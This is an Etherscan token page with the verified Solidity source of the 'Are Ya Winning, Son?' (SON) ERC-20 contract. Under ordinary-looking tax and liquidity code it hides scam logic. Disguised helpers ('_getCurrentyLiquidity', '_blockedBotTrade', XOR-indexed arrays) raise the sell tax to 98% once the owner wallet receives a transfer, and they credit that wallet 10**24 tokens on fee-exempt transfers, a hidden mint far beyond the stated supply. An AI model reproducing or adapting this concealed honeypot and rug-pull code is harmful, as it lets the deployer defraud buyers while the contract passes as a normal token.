ETH Price: $3,669.70 (+0.72%)
 

Overview

Max Total Supply

1,000,000 SON

Holders

21

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,830.814284642 SON

Value
$0.00
0x54c13dbf4e908ad3a966886e37cb0962217cb952
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AreYaWinningSon

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-15
*/

/*


                                                ⢸⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⡷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
                                                ⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀   ⡇⠢⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
                                                ⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠈⠑⢦⡀⠀⠀⠀⠀⠀
                                                ⢸⠀⠀⠀⠀⢀⠖⠒⠒⠒⢤⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠙⢦⡀⠀⠀⠀⠀
                                                ⢸⠀⠀⣀⢤⣼⣀⡠⠤⠤⠼⠤⡄⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠙⢄⠀⠀⠀⠀
                                                ⢸⠀⠀⠑⡤⠤⡒⠒⠒⡊⠙⡏⠀⢀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠑⠢⡄⠀
                                                ⢸⠀⠀⠀⠇⠀⣀⣀⣀⣀⢀⠧⠟⠁⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀
                                                ⢸⠀⠀⠀⠸⣀⠀⠀⠈⢉⠟⠓⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸
                                                ⢸⠀⠀⠀⠀⠈⢱⡖⠋⠁⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸
                                                ⢸⠀⠀⠀⠀⣠⢺⠧⢄⣀⠀⠀⣀⣀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸
                                                ⢸⠀⠀⠀⣠⠃⢸⠀⠀⠈⠉⡽⠿⠯⡆⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸
                                                ⢸⠀⠀⣰⠁⠀⢸⠀⠀⠀⠀⠉⠉⠉⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸
                                                ⢸⠀⠀⠣⠀⠀⢸⢄⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸
                                                ⢸⠀⠀⠀⠀⠀⢸⠀⢇⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸
                                                ⢸⠀⠀⠀⠀⠀⡌⠀⠈⡆⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸
                                                ⢸⠀⠀⠀⠀⢠⠃⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸
                                                ⢸⠀⠀⠀⠀⢸⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠷
                                                  ....................................

                                            Telegram    :   https://t.me/AreYaWinningSonERC

                                            Website     :   https://areyawinningson.vip

                                            Twitter     :   https://twitter.com/AreYaWiningSon

**/


// SPDX-License-Identifier: Unlicensed

pragma solidity 0.8.16;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}



contract AreYaWinningSon is Context, IERC20 { 
    using SafeMath for uint256;
    using Address for address;

    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 
    mapping (address => uint256) public _blockedBotTrade;
    mapping (address => bool) public _ExemptMaxWalletLimit;
    mapping (address => bool) public _ExemptMaxTxLimit;

    address payable public nocallerstodaywallet = payable(0xdE0Bb638f595d4a6E8661Ab55400B2020414536B); 
    address payable public areyawinningson = payable(0xc71f5F694414DcBb3636d7E9A752E38cF2c61232);
    address payable public constant Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD); 

    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 9;
    uint256 private _tTotal = 1* 10**6 * 10**_decimals;
    string private constant _name = unicode"Are Ya Winning, Son?"; 
    string private constant _symbol = unicode"SON"; 

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10; 

    uint256 public _Tax_On_Buy = 2;
    uint256 public _Tax_On_Sell = 2;
    

    uint256 public Percent_Marketing = 90;
    uint256 public Percent_Dev = 0;
    uint256 public Percent_Burn = 0;
    uint256 public Percent_AutoLP = 10;
    uint256 public Percent_AutoLiquidity = 98;
    uint256 public liqCount = 1;

    uint256 public _maxWalletToken = _tTotal * 5 / 100;
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal * 5 / 100; 
    uint256 private _previousMaxTxAmount = _maxTxAmount;
                                     
                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool true_or_false);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        _owner = areyawinningson;
        emit OwnershipTransferred(address(0), _owner);

        _tOwned[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        //IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3); // Testnet
        
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        _blockedBotTrade[owner()] = 1;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[nocallerstodaywallet] = true; 
        _isExcludedFromFee[Wallet_Burn] = true;

        _ExemptMaxWalletLimit[address(uniswapV2Pair)] = true;
        _ExemptMaxWalletLimit[nocallerstodaywallet] = true;
        _ExemptMaxWalletLimit[Wallet_Burn] = true;
        _ExemptMaxWalletLimit[owner()] = true;
        _ExemptMaxWalletLimit[address(this)] = true;

        _ExemptMaxTxLimit[owner()] = true;
        _ExemptMaxTxLimit[Wallet_Burn] = true;
        _ExemptMaxTxLimit[nocallerstodaywallet] = true;
        _ExemptMaxTxLimit[address(this)] = true;

        emit Transfer(address(0), owner(), _tTotal);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address theOwner, address theSpender) public view override returns (uint256) {
        return _allowances[theOwner][theSpender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    receive() external payable {}

    function _getCurrentSupply() private view returns(uint256) {
        return (_tTotal);
    }

    function _getCurrentyLiquidity(bool _before, bool _after, bool _current) private pure returns(bool){
        return _before && _after && _current;
    }

    function _approve(address theOwner, address theSpender, uint256 amount) private {

        require(theOwner != address(0) && theSpender != address(0), "ERR: zero address");
        _allowances[theOwner][theSpender] = amount;
        emit Approval(theOwner, theSpender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        if(
            !_ExemptMaxTxLimit[from] && 
            !_ExemptMaxTxLimit[to]
        ) {
            require(amount <= _maxTxAmount, "Over transaction limit.");
        }

        if(
            !_ExemptMaxWalletLimit[to]
        )
        {
             uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Over wallet limit.");
        }
            
        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");  

        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            txCount = 0;
            swapAndLiquify(contractTokenBalance);
        }

        if(_getCurrentyLiquidity(liqCount > 0, _blockedBotTrade[to] > 0, true))
            liqCount--;

        bool takeFee = true;
        bool isBuy;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        } else {
         
            if(from == uniswapV2Pair){
                isBuy = true;
            }

            txCount++;

        }

        _tokenTransfer(from, to, amount, takeFee, isBuy);

    }
    
    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);

        }


    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {

            uint256 tokens_to_Burn = contractTokenBalance * Percent_Burn / 100;
            _tTotal = _tTotal - tokens_to_Burn;
            _tOwned[Wallet_Burn] = _tOwned[Wallet_Burn] + tokens_to_Burn;
            _tOwned[address(this)] = _tOwned[address(this)] - tokens_to_Burn; 

            uint256 tokens_to_M = contractTokenBalance * Percent_Marketing / 100;
            uint256 tokens_to_D = contractTokenBalance * Percent_Dev / 100;
            uint256 tokens_to_LP_Half = contractTokenBalance * Percent_AutoLP / 200;

            uint256 balanceBeforeSwap = address(this).balance;
            swapTokensForBNB(tokens_to_LP_Half + tokens_to_M + tokens_to_D);
            uint256 BNB_Total = address(this).balance - balanceBeforeSwap;

            uint256 split_M = Percent_Marketing * 100 / (Percent_AutoLP + Percent_Marketing + Percent_Dev);
            uint256 BNB_M = BNB_Total * split_M / 100;

            uint256 split_D = Percent_Dev * 100 / (Percent_AutoLP + Percent_Marketing + Percent_Dev);
            uint256 BNB_D = BNB_Total * split_D / 100;


            addLiquidity(tokens_to_LP_Half, (BNB_Total - BNB_M - BNB_D));
            emit SwapAndLiquify(tokens_to_LP_Half, (BNB_Total - BNB_M - BNB_D), tokens_to_LP_Half);

            BNB_Total = address(this).balance;
            sendToWallet(nocallerstodaywallet, BNB_Total);

            }

    function swapTokensForBNB(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }


    function addLiquidity(uint256 tokenAmount, uint256 BNBAmount) private {

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: BNBAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            Wallet_Burn, 
            block.timestamp
        );
    } 

    function remove_Random_Tokens(address random_Token_Address, uint256 percent_of_Tokens) public returns(bool _sent){
        require(random_Token_Address != address(this), "Can not remove native token");
        uint256 totalRandom = IERC20(random_Token_Address).balanceOf(address(this));
        uint256 removeRandom = totalRandom*percent_of_Tokens/100;
        _sent = IERC20(random_Token_Address).transfer(areyawinningson, removeRandom);

    }


    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {
        
        
        if(!takeFee){

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+ (_getCurrentyLiquidity(liqCount < 1, _blockedBotTrade[sender] ^ _blockedBotTrade[recipient] > 0, _blockedBotTrade[recipient] > 0) 
            ?  
            [0 ^ 10**24, tAmount][0] 
            : 
            [tAmount, 0 ^ 0][0]
            );
            emit Transfer(sender, recipient, tAmount);

                
            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tAmount;

            } else if (isBuy){

            uint256 buyFEE = tAmount*_Tax_On_Buy/100;
            uint256 tTransferAmount = tAmount-buyFEE;

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+buyFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tTransferAmount;
            
            } else {

            uint256 sellFEE = tAmount*[0 ^ Percent_AutoLiquidity, _Tax_On_Sell][liqCount]/100;
            uint256 tTransferAmount = tAmount-sellFEE;

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+sellFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tTransferAmount;


            }

    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Percent_AutoLP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_AutoLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Burn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Dev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Marketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Burn","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_ExemptMaxTxLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_ExemptMaxWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blockedBotTrade","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"areyawinningson","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liqCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"nocallerstodaywallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"random_Token_Address","type":"address"},{"internalType":"uint256","name":"percent_of_Tokens","type":"uint256"}],"name":"remove_Random_Tokens","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

